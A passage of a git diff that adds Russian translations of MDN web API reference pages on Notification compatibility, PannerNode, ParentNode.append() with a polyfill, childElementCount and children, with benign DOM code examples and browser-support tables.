+   <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+    22</td>
+   <td>{{CompatGeckoDesktop("2.0")}}{{property_prefix("moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Service worker additions</td>
+   <td>
+    <p>{{CompatChrome(42.0)}}</p>
+   </td>
+   <td>{{CompatGeckoDesktop("42.0")}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatGeckoMobile(2.0)}}{{property_prefix("moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoMobile(22.0)}}</td>
+   <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+    1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(41.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Service worker additions</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(42.0)}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification. Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
+
+<p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification was done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification()</code> method. In addition, the Notification was displayed when calling the <code>show()</code> method and supported only the <code>click</code> and <code>close</code> events (Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.)</p>
+
+<p>[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).</p>
+
+<p>[4] Firefox 42 has shipped with web notifications from Service Workers disabled.</p>
+
+<h2 id="Firefox_OS_разрешения">Firefox OS разрешения</h2>
+
+<p>Когда используете уведомления в приложении на Firefox OS, убедитесь, что <code>desktop-notification</code> установленно в вашем фаине манифеста. Уведомления могут быть использованы для любомого уровня разрешения, равного или выше:</p>
+
+<pre class="brush: json">"permissions": {
+  "desktop-notification": {}
+}</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Использование Notifications API</a></li>
+</ul>
diff --git a/files/ru/web/api/pannernode/index.html b/files/ru/web/api/pannernode/index.html
new file mode 100644
index 0000000000..c8076f49df
--- /dev/null
+++ b/files/ru/web/api/pannernode/index.html
@@ -0,0 +1,265 @@
+---
+title: PannerNode
+slug: Web/API/PannerNode
+translation_of: Web/API/PannerNode
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<div class="note_trans">
+<div>Интерфейс <code>PannerNode</code> представляет положение источника звука и поведение его сигнала в пространстве. Это модуль {{domxref("AudioNode")}} для обработки звука, описывающий его положение (в правосторонней системе координат Декарта), его перемещение (с помощью вектора скорости распространения) и его направленности (при помощи конуса направления).</div>
+</div>
+</div>
+
+<div class="note_trans">
+<div><code>PannerNode</code> всегда имеет только один вход и один выход: вход может быть <em>моно</em> или <em>стерео</em>, но выход всегда <em>стерео</em> (2 канала); нельзя получить эффекты панорамирования при отсутствии, как минимум двух аудиоканалов!</div>
+</div>
+
+<p><img alt="PannerNode задает положение в пространстве, скорость распространения и направленность данного сигнала." src="https://mdn.mozillademos.org/files/15375/PannerNode.png" style="height: 263px; margin-left: 20px; margin-right: 20px; width: 720px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Число входов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Число выходов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Режим подсчета каналов</th>
+   <td><code>"clamped-max"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество каналов</th>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Представление канала</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("PannerNode.PannerNode")}}</dt>
+ <dd>
+ <div class="note_trans">
+ <div>
+ <dl>
+  <dd>Создает новый экземпляр <code>PannerNode.</code></dd>
+ </dl>
+ </div>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<div class="note_trans">
+<div>Наследует свойства от своего родителя<em>, {{domxref("AudioNode")}}</em>. </div>
+</div>
+
+<div class="note">
+<p>Значения направления и положения устанавливаются и получаются различными вариантами синтаксиса, поскольку они хранятся в виде значений {{domxref("AudioParam")}}. Получение значения осуществляется через обращение, например так,<code> PannerNode.positionX</code>. Установка того же свойства делается так,<code> PannerNode.positionX.value</code>. This is why these values are not marked read only, which is how they appear in the WebIDL.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("PannerNode.coneInnerAngle")}}</dt>
+ <dd>Это значение типа <code> double</code>, представляющее угол конуса (в градусах), внутри которого не будет уменьшения громкости.</dd>
+ <dt>{{domxref("PannerNode.coneOuterAngle")}}</dt>
+ <dd>Это значение типа <code> double</code>, представляющее угол конуса (в градусах), вне которого громкость звука будет уменьшена на постоянное значение, определяемое атрибутом <code>coneOuterGain.</code></dd>
+ <dt>{{domxref("PannerNode.coneOuterGain")}}</dt>
+ <dd>Это значение типа <code>double</code>, представляющее величину снижения уровня громкости вне конуса, определенного атрибутом <code>coneOuterAngle</code>. Значение по умолчанию равно <code>0</code>, то есть, вне конуса звук не будет слышен.</dd>
+ <dt>{{domxref("PannerNode.distanceModel")}}</dt>
+ <dd>Перечислимое значение, определяющее, какой алгоритм будет использован для уменьшения громкости источника звука при удалении его от слушателя.</dd>
+ <dt>{{domxref("PannerNode.maxDistance")}}</dt>
+ <dd>Значение типа <code>double</code>, представляющее максимальное расстояние между источником звука и слушателем, после которого громкость звука далее не уменьшается.</dd>
+ <dt>{{domxref("PannerNode.orientationX")}}</dt>
+ <dd>Представляет горизонтальное положение вектора источника звука в правосторонней системе координат Декарта. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}} . Значение по умолчанию равно 1.</dd>
+ <dt>{{domxref("PannerNode.orientationY")}}</dt>
+ <dd>Представляет вертикальное положение вектора источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.orientationZ")}}</dt>
+ <dd>Представляет продольную (вперед - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.panningModel")}}</dt>
+ <dd>Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трехмерном пространстве.</dd>
+ <dt>{{domxref("PannerNode.positionX")}}</dt>
+ <dd>Представляет горизонтальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.positionY")}}</dt>
+ <dd>Представляет вертикальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.positionZ")}}</dt>
+ <dd>Представляет позицию источника звука вдоль оси Z (вперед и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.</dd>
+ <dt>{{domxref("PannerNode.refDistance")}}</dt>
+ <dd>Значение типа <code>double</code>, представляющее справочное (опорное) расстояние для уменьшения громкости при удалении источника звука от слушателя.</dd>
+ <dt>{{domxref("PannerNode.rolloffFactor")}}</dt>
+ <dd>Значение типа <code>double</code>, представляющее как быстро уменьшается громкость при удалении источника звука от слушателя. Данное значение используется во всех моделях изменения громкости от расстояния.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<div class="note_trans">
+<div>Наследует методы от своего родителя<em>, {{domxref("AudioNode")}}</em>.</div>
+
+<div> </div>
+</div>
+
+<dl>
+ <dt>{{domxref("PannerNode.setPosition()")}}</dt>
+ <dd>Определяет положение источника звука относительно слушателя (представлен объектом {{domxref("AudioListener")}}, хранящимся в атрибуте {{domxref("AudioContext.listener")}} ).</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("PannerNode.setOrientation()")}}</dt>
+ <dd>Определяет направление воспроизведения источника звука.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("PannerNode.setVelocity()")}} {{obsolete_inline}}</dt>
+ <dd>Это устаревший элемент API и его работа в дальнейшем не гарантируется.<br>
+ Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключенного потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была четко оговорена и имела ряд проблем, поэтому была удалена из спецификации.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/ru/docs/Web/API/AudioContext.createPanner","Example")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-pannernode-interface', 'PannerNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>orientationX</code>, <code>orientationY</code>, and <code>orientationZ</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>positionX</code>, <code>positionY</code>, and <code>positionZ</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+  <tr>
+   <td><code>orientationX</code>, <code>orientationY</code>, and <code>orientationZ</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>positionX</code>, <code>positionY</code>, and <code>positionZ</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="http://musiconnect.ru/publ/mixmaster/osnovy-panoramirovaniya-raspolozhenie-zvukov-v-virtualnom-prostranstve-ch-1/">Основы панорамирования. Расположение звуков в виртуальном пространстве.</a></li>
+</ul>
diff --git a/files/ru/web/api/parentnode/append/index.html b/files/ru/web/api/parentnode/append/index.html
new file mode 100644
index 0000000000..02d0995fc4
--- /dev/null
+++ b/files/ru/web/api/parentnode/append/index.html
@@ -0,0 +1,134 @@
+---
+title: ParentNode.append()
+slug: Web/API/ParentNode/append
+translation_of: Web/API/ParentNode/append
+---
+<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div>
+
+<p>Метод <strong><code>ParentNode.append</code></strong> добавляет набор объектов {{domxref("Node")}} или {{domxref("DOMString")}} в конец (после последнего потомка) <code>ParentNode</code>. {{domxref("DOMString")}} объекты добавляются как {{domxref("Text")}}.</p>
+
+<p>Отличия от {{domxref("Node.appendChild()")}}:</p>
+
+<ul>
+ <li><code>ParentNode.append()</code> позволяет добавлять {{domxref("DOMString")}} объекты, в то время как <code>Node.appendChild()</code> принимает только {{domxref("Node")}}.</li>
+ <li><code>ParentNode.append()</code> ничего не возвращает, в то время как <code>Node.appendChild()</code> возвращает добавленный объект {{domxref("Node")}}.</li>
+ <li><code>ParentNode.append()</code> позволяет добавить несколько узлов (node) или строк, в то время как <code>Node.appendChild()</code> может добавть только один узел (node).</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">[Throws, Unscopable]
+void ParentNode.append((Node или DOMString)... nodes);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>nodes</code></dt>
+ <dd>Набор объектов {{domxref("Node")}} или {{domxref("DOMString")}}, которые будут добавлены.</dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<ul>
+ <li>{{domxref("HierarchyRequestError")}}: Узел (node) не может быть вставлен в определённую точку в иерархии страницы.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Добавление_элемента">Добавление элемента</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ &lt;p&gt; ]
+</pre>
+
+<h3 id="Добавление_строки">Добавление строки</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+parent.append("Любой текст");
+
+console.log(parent.textContent); // "Любой текст"</pre>
+
+<h3 id="Добавление_элемента_или_строки">Добавление элемента или строки</h3>
+
+<pre class="brush: js">var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Любой текст", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Любой текст", &lt;p&gt; ]</pre>
+
+<h3 id="ParentNode.append_не_имеет_области_видимости"><code>ParentNode.append()</code> не имеет области видимости</h3>
+
+<p>Метод <code>append()</code> не имеет области видимости с директивой <code>with</code>. Больше информации в {{jsxref("Symbol.unscopables")}}.</p>
+
+<pre class="brush: js">var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined </pre>
+
+<h2 id="Полифил">Полифил</h2>
+
+<p>Вы можете использовать полифил для <code>метода append()</code> в Internet Explorer 9 и выше:</p>
+
+<pre class="brush: js">// Источник: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.ParentNode.append")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} и {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("ChildNode.after()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ru/web/api/parentnode/childelementcount/index.html b/files/ru/web/api/parentnode/childelementcount/index.html
new file mode 100644
index 0000000000..6dcc3711dd
--- /dev/null
+++ b/files/ru/web/api/parentnode/childelementcount/index.html
@@ -0,0 +1,122 @@
+---
+title: Node.childElementCount
+slug: Web/API/ParentNode/childElementCount
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/childElementCount
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Свойство<code><strong> Node.childElementCount</strong></code> предназначено только для чтения и возвращает число дочерних<u> элементов</u> узла.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтакисис</h2>
+
+<pre class="syntaxbox">var <var>elCount</var> = Node.childElementCount;
+</pre>
+
+<ul>
+ <li><code><strong>elCount</strong></code> - целое число, количество дочерних элементов узла <strong>Node.</strong></li>
+ <li><code><strong>Node</strong></code> - объект, представляющий собой <code>Document</code>, <code>DocumentFragment</code> или <code>Element</code>.</li>
+</ul>
+
+<div class="warning">
+<p>А наш добрый друг<strong> Internet Explorer </strong>в <strong>6, 7</strong> и <strong>8</strong> версиях ошибочно считает элементами комментарии в HTML-коде ({{domxref("Comment")}}).</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> foo <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"foo"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>foo<span class="punctuation token">.</span>childElementCount <span class="operator token">&gt;</span> <span class="number token">0</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// здесь нужный код..</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-childElementCount', 'ParentNode.childElementCount')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/parentnode/children/index.html b/files/ru/web/api/parentnode/children/index.html
new file mode 100644
index 0000000000..e810a39465
--- /dev/null
+++ b/files/ru/web/api/parentnode/children/index.html
@@ -0,0 +1,143 @@
+---
+title: Node.children
+slug: Web/API/ParentNode/children
+tags:
+  - API
+  - DOM
+  - ParentNode
+  - Property
+  - Reference
+translation_of: Web/API/ParentNode/children
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <span class="seoSummary"><code><strong>children</strong></code> </span> {{domxref("ParentNode")}} является свойством только для чтения, которое возвращает {{domxref("HTMLCollection")}}, содержащее все дочерние {{domxref("Element", "elements")}} узла, на котором он был вызван.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>elList</em> = elementNodeReference.children; </pre>
+
+<p><var>В результате,</var><code><var> <strong>elList</strong> - </var></code><var>живая коллекция, состоящая из дочерних элементов узла</var><code><var> <strong>elementNodeReference</strong></var></code>, и стоит подметить, что если у узла детей нет, она будет пустой. Определить это можно, обратившись к свойству length, которое содержит в себе количество элементов в коллекции.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">&lt;ul&gt;
+   &lt;li&gt;1 пункт&lt;/li&gt;
+   &lt;li&gt;2 пункт&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script type="text/javascript"&gt;
+
+   var elementChildrens = document.querySelector("ul").children;
+   for (var i=0, child; child=elementChildrens[i]; i++) {
+        //elementChildrens - коллеция детей списка
+        //child - последовательно, каждый из элементов elementChildrens
+        alert(child.innerHTML);
+   }
+
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</p>
+   </td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("SVGElement")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка {{domxref("Element")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Internet Explorer 6, 7 и 8 поддерживают данное свойство, но ошибочно включают в коллекцию комментарии ({{domxref("Comment")}}) в HTML-коде.</p>
+
